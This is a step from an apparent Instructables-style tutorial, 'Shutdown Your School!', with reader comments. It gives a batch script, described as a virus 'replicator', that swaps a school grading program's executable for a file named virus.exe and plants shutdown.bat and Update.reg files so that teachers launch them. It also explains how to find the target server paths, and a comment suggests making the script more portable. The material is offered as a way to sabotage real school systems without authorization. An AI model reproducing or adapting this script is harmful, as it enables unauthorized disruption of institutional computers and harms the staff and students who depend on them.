Shutdown Your School!

Step 3Set up the replication system

Here is the code to set up the replicator (the program that allows the virus to reproduce). This simply gets it ready to infect the teachers. ?,$, and ! means that it varies. It depends on what program you are using. To find out how to fill these blank, get on a computer that has access to the server that stores your grading program. ? is the drive letter. $ is any folders and sub folders that contain the main exe for the grading program. ! is the name of the main exe.

Example O:\sti\ssts2\sti.exe
?=O
$=sti\ssts2
!=sti

Here is the code:

@echo off
cd C:\
move ?:\$\!.exe
ren C:?.exe real.exe
ren C:virus.exe !.exe
cd ?:\$
move C:\!.exe
move C:\shutdown.bat
move C:\Update.reg
exit

Save this as global.bat

If you're writing an instructable to "instruct" others, you might want to consider there schools systems don't use the C:\ label, therefore you might want to use the %SYSTEMDRIVE% environment variable to make sure.

Does this automatically detect the system drive, or does it require user input?

Yes, the this is an environment variable. For example, goto DOS or the command prompt and type in: echo %SYSTEMDRIVE% or type in: set This shows you all the enviroment variables.
